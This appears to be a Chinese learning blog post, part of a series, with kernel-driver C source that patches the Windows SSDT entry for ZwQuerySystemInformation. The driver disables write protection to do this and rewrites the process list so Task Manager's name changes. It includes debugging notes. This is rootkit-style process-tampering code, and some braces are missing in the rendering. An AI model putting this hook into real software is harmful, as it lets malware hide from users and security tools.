HOOK SSDT Hide Process (六)

[资料] http://www.cppblog.com/sleepwom/archive/2009/10/24/99375.html

在 HOOK SSDT Hide Process (五)   R3 已经知道 ZwQuerySystemInformation 函数用来 enum 进程
那么现在看下 R0 的HOOK 函数实现先

从致是调用回 ntdll.dll  中的 ZwQuerySystemInformation 函数,取得返回值后,再把相关的数据过滤掉
编译后运行有问题,于是乎对程序作了一下修改,主要改了 MyZwQuerySystemInformation 函数
在判断到进程的名字是 taskmgr.exe 就把它改为 haha

#include  " ssdthook.h "

#pragma  pack(
1 )

typedef 
struct  _SSDT_TABLE
{
  PVOID   ServiceTableBase;
  PULONG  ServiceCounterTableBase;
  ULONG   NumberOfService;
  ULONG   ParamTableBase;
}SSDT_TABLE,
*  PSSDT_TABLE;
#pragma pack()

struct  _SYSTEM_THREADS
{
  LARGE_INTEGER           KernelTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           CreateTime;
  ULONG                           WaitTime;
  PVOID                           StartAddress;
  CLIENT_ID                       ClientIs;
  KPRIORITY                       Priority;
  KPRIORITY                       BasePriority;
  ULONG                           ContextSwitchCount;
  ULONG                           ThreadState;
  KWAIT_REASON            WaitReason;
};


// ===================================================
struct  _SYSTEM_PROCESSES
{
  ULONG                           NextEntryDelta;
  ULONG                           ThreadCount;
  ULONG                           Reserved[
6 ];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ProcessName;
  KPRIORITY                       BasePriority;
  ULONG                           ProcessId;
  ULONG                           InheritedFromProcessId;
  ULONG                           HandleCount;
  ULONG                           Reserved2[
2 ];
  VM_COUNTERS                     VmCounters;
  IO_COUNTERS                     IoCounters; 
// windows 2000 only
   struct  _SYSTEM_THREADS          Threads[ 1 ];
};

struct  _SYSTEM_PROCESSOR_TIMES
{
   LARGE_INTEGER          IdleTime;
   LARGE_INTEGER          KernelTime;
   LARGE_INTEGER          UserTime;
   LARGE_INTEGER          DpcTime;
   LARGE_INTEGER          InterruptTime;
   ULONG              InterruptCount;
};

// ======================================================
typedef NTSTATUS (__stdcall  * ZWQUERYSYSTEMINFORMATION)(
   IN ULONG SystemInformationClass, 
   IN PVOID SystemInformation, 
   IN ULONG SystemInformationLength, 
   OUT PULONG ReturnLength);

NTSTATUS MyZwQuerySystemInformation( 
   IN ULONG SystemInformationClass, 
   IN PVOID SystemInformation, 
   IN ULONG SystemInformationLength, 
   OUT PULONG ReturnLength);

// 定义全局变量
extern   " C "   extern  PSSDT_TABLE  KeServiceDescriptorTable;
ULONG  OldAddress;
ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
PVOID Base;

void  UnHook();

VOID Unload (IN PDRIVER_OBJECT pDriverObject) 
{
        KdPrint((
" Enter DriverUnload\n " ));
        UnHook();   
//  mark

}

NTSTATUS MyZwQuerySystemInformation(IN ULONG SystemInformationClass, 
                                    IN PVOID SystemInformation, 
                                    IN ULONG SystemInformationLength, 
                                    OUT PULONG ReturnLength) 
// 定义自己的Hook函数

    
    NTSTATUS rc; 
    UNICODE_STRING process_name;
    
    RtlInitUnicodeString(
& process_name, L " taskmgr.exe " );
    
    rc 
=  (OldZwQuerySystemInformation) ( 
        SystemInformationClass, 
        SystemInformation, 
        SystemInformationLength, 
        ReturnLength); 
    
    
if (NT_SUCCESS(rc)) 
    {
        
if ( 5   ==  SystemInformationClass)
        { 
            
struct  _SYSTEM_PROCESSES  * curr  =  ( struct  _SYSTEM_PROCESSES  * )SystemInformation; 
            
            
while (curr)
            {
                
if  (RtlEqualUnicodeString( & process_name,  & curr -> ProcessName,  1 ))
                {
                                        DbgPrint(
" before %wZ\n " , & process_name); 
                                        RtlInitUnicodeString(
& (curr -> ProcessName), L " haha " );                                          
                                        DbgPrint(
" after %wZ\n " , & (curr -> ProcessName)); 


                } 
//  if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
                

                
if (curr -> NextEntryDelta)
                    curr 
=  (_SYSTEM_PROCESSES  * )((ULONG)curr  +  curr -> NextEntryDelta); 
                
else  
                    curr 
=  NULL;

            } 
// while(curr)
            
        } 
//  if(5 == SystemInformationClass)
        
    }
//  if(NT_SUCCESS(rc))
    
    
//  KdPrint(("HookZwQuerySystemInformation is Succeessfully. \n"));
     return  rc;
}

VOID Hook()

{

        DbgPrint(
" Entry Hook()\n " );
        OldAddress 
= (ULONG)KeServiceDescriptorTable -> ServiceTableBase  +   4 * 0xAd ; // 用windbg反汇编查到zwquerysysteminformationde的ID号是0xADh
        DbgPrint( " KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n " ,KeServiceDescriptorTable -> ServiceTableBase);
        
// 保存原来函数的地址
        OldZwQuerySystemInformation  =  (ZWQUERYSYSTEMINFORMATION)  * (ULONG  * )OldAddress;
        DbgPrint(
" OldZwQuerySystemInformation is :0x%0x\n " , OldZwQuerySystemInformation);
        DbgPrint(
" MyZwQuerySystemInformation is :0x%0x\n " , MyZwQuerySystemInformation);
        
        
// 取消内存写保护
        _asm
        { 
        cli
        mov  eax,cr0
        and  eax,not 10000h
        mov  cr0,eax
        }

        
* (ULONG * )OldAddress  = (ULONG) MyZwQuerySystemInformation;        // mark   MyZwQuerySystemInformation;
        
        
// 还原内存写保护
        _asm
        {
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax 
        sti
        }
}

void  UnHook()
{
  ULONG  Address;

  Address 
= (ULONG) KeServiceDescriptorTable -> ServiceTableBase  + 0xAD * 4 ;

  __asm
  {
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  
* (ULONG * )Address  = (ULONG) OldZwQuerySystemInformation;

  __asm
  {  
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
  }

  DbgPrint(
" Unhook leave!\n " );
}

// ========================驱动入口函数
extern   " C "  NTSTATUS DriverEntry(IN PDRIVER_OBJECT  pDriverObject, IN PUNICODE_STRING  pRegistryPath)
{

  DbgPrint(
" Entry Hook Function!\n " );
  pDriverObject
-> DriverUnload  =  Unload;
  Hook();
  DbgPrint(
" Leave DriverEntry!\n " );
  
return  STATUS_SUCCESS;

运行后, 事与愿违, 并没有显示 haha, 而是显示为空
用 DebugView 显示调试信息

Entry Hook Function !
Entry Hook()
KeServiceDescriptorTable
-> ServiceTableBase  is  : 0x804e2d20
OldZwQuerySystemInformation 
is  : 0x8057cc27
MyZwQuerySystemInformation 
is  : 0xf8ed4080
Leave DriverEntry
!
before taskmgr.exe
after haha

Q:为何在 taskmgr.exe 中会显示为空?疑问中
采用 HOOK SSDT Hide Process (五)   中的程序跟踪发现,taskmgr.exe 的 imagename.buffer 的地址居然是 0xb049480
这个地址显然不是应用层的地址,后果然后是不让访问了

于是改成用 memcpy

DbgPrint("before 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
//RtlInitUnicodeString(&(curr->ProcessName), L"fdsf");
memcpy(curr->ProcessName.Buffer, L"_root_", 12);
DbgPrint("after 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));

结果,运行成功
taskmgr.exe 的 imagename 被成功修改为 _root_r.exe

产生新的问题:
Q:  RtlInitUnicodeString 对 UNICODE_STRING 赋值是会同时分配缓冲区的空间?这一点查了MSDN,没看到有相关的说明
需要找时间去验证下
A:  RtlInitUnicodeString() 这个函数它并不是直接去修改内存,而是重新分配一段缓冲区,而这段缓冲区在离开函数后就无效了
      而用户传进来的 SystemInformation 指针,是一段连续的内存空间

Q:   用户区传进来的 SystemInformation 指针,是一段连续的内存空间,也就是说, 如果修改了 IMAGENAME 的内容,导致
原来 UNICODE_STRING.buffer 不足的话,那么需要把后面的 SystemInformation 都往后移?(这一点也需要找时间验证下)
比较保险的做法是,先执行系统的 ZwQuerySytemInformation 后,先把所有的 SystemInformation 都读出来,然后再分别写到
用户传进来的 SystemInformation  缓冲区。
A: 这个尝试过,不过蓝屏,需要找时间再仔细研究下

你可能感兴趣的:(HOOK SSDT Hide Process (六))